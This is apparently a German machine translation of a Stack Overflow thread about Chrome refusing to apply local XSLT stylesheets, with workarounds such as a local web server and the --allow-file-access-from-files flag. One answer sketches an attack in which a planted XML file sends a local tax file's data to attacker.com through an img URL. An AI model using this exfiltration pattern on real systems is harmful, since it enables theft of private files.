Kann Chrome dazu gebracht werden, eine XSL-Transformation für eine lokale Datei durchzuführen?

89

Ich habe mich mit xslt befasst und angefangen, mit den Beispielen auf w3schools zu testen.

Wenn ich jedoch XML und XSL in Dateien speichere und versuche, sie lokal zu öffnen, führt Chrome die XSL-Transformation nicht durch. Es wird nur eine leere Seite angezeigt.

Ich habe das <?xml-stylesheet type="text/xsl" href="style.xsl">Tag zum XML-Dokument hinzugefügt und Firefox rendert es so, wie es aussehen soll. Wenn ich die Dateien über einen Webserver betrachte, zeigt Chrome die Datei so an, wie sie aussehen soll.

Ist es so, dass Chrome Probleme hat, die Stylesheet-Informationen zu finden, wenn der Link lokal ist? Das Ändern der href auf file:///C:/xsl/style.xslmachte keinen Unterschied.

Update: Dies scheint ein Nebeneffekt einer Sicherheitsrichtlinie zu sein , die Datei: /// * nicht als denselben Ursprung behandelt. Dadurch wird der folgende Fehler in der Konsole angezeigt:

Unsicherer Versuch, die URL-Datei: /// C: /xsl-rpg/style.xsl aus dem Frame mit der URL-Datei: /// C: /xsl-rpg/data.xml zu laden. Domänen, Protokolle und Ports müssen übereinstimmen.

Zaz
quelle
1
Es sieht so aus file:, als würde Chrome aus dem Protokoll den gleichen Domänenfehler auslösen.
1
Auf IE11 funktioniert es. Chrome wird böse.
Marco Demaio

Antworten:

73

Die kurze Antwort lautet "Nein, verwenden Sie einen der verschiedenen Browser " .

Der Grund, warum dies nicht funktioniert, liegt in einer Sicherheitsbedenken, die Chrome auf kontroverse Weise angesprochen hat [1] [2] [3] [4] , indem XML-Dateien daran gehindert wurden, auf lokale XSLT-Dateien im selben Verzeichnis zuzugreifen, während HTML Dateien können problemlos auf CSS-Dateien im selben Verzeichnis zugreifen.

In Bezug auf die oben genannten Probleme haben Benutzer nach einer klareren Fehlermeldung gefragt (da die Domänen, Protokolle und Ports tatsächlich übereinstimmen) oder zumindest das XML ohne das Styling angezeigt. Chrome-Entwickler haben diese Anforderungen ignoriert.

Zaz
quelle
18
Obwohl ihre Sicherheitsbedenken sinnvoll sind, sollten XML-Dateien XSL-Stylesheets aus demselben Verzeichnis laden können, genauso wie HTML-Dateien Bilder und Skripte aus demselben Verzeichnis laden können. Es gibt ein Problem, das Sie ansprechen können, aber das Chrome-Entwicklerteam hat neue Kommentare dazu verboten - trotz der Tatsache, dass sie sich beschwert haben, können sie nicht quantifizieren, wie sehr Benutzer wollten, dass der Ursprung der lokalen Datei gelockert wird.
Dan Dascalescu
1
Interessante Tatsache: Safari auf Mac (8.0) funktioniert gut mit lokalem XSLT, aber Safari auf iOS (8) Simulator (und ich nehme an, auch auf iOS) Ich habe den gleichen Fehler wie in Chrome "Domains, Protokolle und Ports müssen übereinstimmen. ". Aber wenn ich UIWebView in der App implementieren und XML mit XSLT laden möchte, funktioniert alles in Ordnung.
Paul Brewczynski
Es macht wenig Sinn, einen anderen Browser zu verwenden, wenn die Aufgabe darin besteht, ein bestimmtes xslt-Rendering in Chrome-Browsern zu
korrigieren
Ein Ansatz, der mit Chromium funktioniert, besteht darin, die XSL-Datei als Daten in die XML-Datei einzubinden: text / xsl URI.
EricLaw
56

Sie können dies lokal mithilfe der Befehlszeilenflags von Chrome tun.

Die spezifische Flagge ist --allow-file-access-from-files

Unter OS X: von Terminal.app ausführen /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Unter Windows: An der Eingabeaufforderung ausführen %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Hinweis: Sie müssen Chrome wahrscheinlich beenden, wenn es derzeit ausgeführt wird

Jake Burton
quelle
Dies scheint unter Windows 7 nicht zu funktionieren. Ich habe chrome.exe hier gefunden: C:\Program Files (x86)\Google\Chrome\Applicationund der Befehl --allow-file-access-from-files wird einwandfrei ausgeführt, aber mein lokales XML-Dokument (transformiert durch a lokale XSLT-Datei) wird nicht angezeigt.
Rick unterstützt Monica
2
Möglicherweise müssen Sie alle laufenden Windows-Prozesse für chrome.exe im Windows-Task-Manager von Hand beenden. Für mich hat das funktioniert.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesarbeitete für mich. Offensichtlich betreibe ich den Chrome Canary. Nach dem Ausführen dieses Befehls sollte ein neues Chrome-Fenster geöffnet werden, in dem Sie Ihre XSL-Transformation durchführen können.
Sean F
2
Schneller unter Windows 7: Fenstertaste + R; "chrome --allow-file-access-from-files"; Eingeben.
Aaron Campbell
Oder in PowerShell (tötet frühere Chromteile für Sie):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
14

Wenn Sie sich an das OP halten möchten, lautet die Antwort Nein (wie andere bereits betont haben). Eine Möglichkeit, das Problem zu beheben, besteht darin, einen einfachen Webserver auszuführen und Dateien über http in Chrome zu öffnen. Wenn Sie Python 2.x installiert haben, können Sie einen Webserver ausführen, indem Sie Folgendes eingeben:

python -m SimpleHTTPServer

Oder in Python 3.x:

python3 -m http.server

und öffnen Sie dann die Datei mit http://localhost:8000/yourfile.xmlin Chrome. Hoffentlich möchten Sie nur Ihre Arbeit erledigen und es ist nicht entscheidend, dass Sie die Datei mit öffnen müssenfile://

Morpheus
quelle
3

Das Entschlüsseln auf der Chrome Bug-Seite hat ein wenig gedauert - sie sind sehr daran interessiert, nicht zu erklären, was das Problem ist und warum sie sich dafür entschieden haben, alle zu brechen, anstatt nicht alle zu brechen.

Angenommen, ich habe irgendwo eine XML-Datei auf meiner Festplatte, z.

C: \ Benutzer \ Ian \ Dokumente \ Steuern \ StudioTaxReturn_2015.xml

Und eine böswillige Entität hat es irgendwie geschafft, eine schädliche XML-Datei auf meinem Computer abzulegen, z.

C: \ Benutzer \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Stellen Sie sich vor, TrojanVirusWorm.xml enthält eine Stylesheet-Verarbeitungsanweisung ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Der Angreifer weist dann meinen Browser an, zur lokal gespeicherten trojanVirusWorm.xmlDatei zu navigieren .

Anscheinend gibt es eine Möglichkeit, wie eine XML-Datei den Inhalt der XSD-Datei lesen kann (anstatt von der XSD-Datei transformiert zu werden):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Ich verstehe nicht, wie eine XML-Datei eine Stylesheet-Datei lesen kann. Das Chrome-Team versichert uns jedoch, dass dies eine Gefahr darstellt und nicht gelöst werden kann.

Jeder andere Browser hat es gelöst. Sie haben es gelöst, weil es kein Problem ist .

Ian Boyd
quelle
3

Meine Problemumgehung, um eine XML-Datei gemäß einer XLS-Datei anzuzeigen

Angenommen, wir haben eine some_file.xml mit Headern:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Wir laden die Datei herunter https://some-site.com/Common.xslund platzieren sie neben demsome_file.xml
  2. Ändern Sie einen Teil unseres Headers von href="https://some-site.com/Common.xsl"nach href="http://localhost:8001/Common.xsl"
  3. Führen Sie im Verzeichnis mit unseren Dateien - python3 -m http.server 8001
  4. In einem beliebigen Browser öffnen http://localhost:8001/some_file.xml
Greg Eremeev
quelle
0

Sie können Chrome aktivieren, um die XSL-Datei zu rendern, indem Sie Ihre Browsereinstellungen ändern. Ein sicherer Ansatz wäre der Zugriff über einen lokalen Webserver wie Visual Studio Code Live Server oder Apache. Schritte finden Sie unter XSLT wird in lokalen Dateien nicht gerendert .

Ryan C. Perry
quelle